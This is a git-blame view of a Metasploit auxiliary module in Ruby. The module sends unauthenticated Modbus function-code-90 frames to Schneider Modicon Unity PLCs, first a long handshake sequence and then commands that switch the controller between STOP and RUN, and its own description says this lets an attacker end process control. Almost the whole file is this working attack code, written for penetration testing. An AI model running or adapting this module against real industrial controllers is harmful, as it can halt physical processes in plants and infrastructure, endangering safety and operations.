Files
metasploit-gs/modules/auxiliary/admin/scada/modicon_command.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

187 lines
6.1 KiB
Ruby
Raw Normal View History

2013-03-07 00:18:32 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 00:18:32 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2012-04-05 12:35:21 -05:00
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Schneider Modicon Remote START/STOP Command',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and RUN, allowing an attacker to end process control by the PLC.
2012-04-05 12:35:21 -05:00
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond.
},
'Author' => [
2012-04-05 12:35:21 -05:00
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' => [
2012-04-05 12:35:21 -05:00
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => '2012-04-05',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
2012-04-05 12:35:21 -05:00
register_options(
[
OptEnum.new('MODE', [
true, 'PLC command', 'STOP',
2012-04-05 12:35:21 -05:00
[
'STOP',
'RUN'
2012-04-05 12:35:21 -05:00
]
]),
Opt::RPORT(502)
]
)
2012-04-05 12:35:21 -05:00
end
2012-06-06 00:22:36 -05:00
2012-04-05 12:35:21 -05:00
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error('packet too large, sorry')
print_error('Offending packet: ' + packetdata)
2012-04-05 12:35:21 -05:00
return
end
payload = ''
payload += [@modbuscounter].pack('n')
payload += "\x00\x00\x00" # dunno what these are
payload += [packetdata.size].pack('c') # size byte
payload + packetdata
2012-04-05 12:35:21 -05:00
end
2012-06-06 00:22:36 -05:00
2012-04-05 12:35:21 -05:00
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack('c') }
2012-04-05 12:35:21 -05:00
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += 'USER-714E74F21B' # Yep, really
# payload += "META-SPLOITMETA"
2012-04-05 12:35:21 -05:00
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
def stop
payload = "\x00\x5a\x01\x41\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def start
payload = "\x00\x5a\x01\x40\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when 'STOP'
2012-04-05 12:35:21 -05:00
stop
when 'RUN'
2012-04-05 12:35:21 -05:00
start
else
print_error('Invalid MODE')
2012-04-05 12:35:21 -05:00
return
end
end
end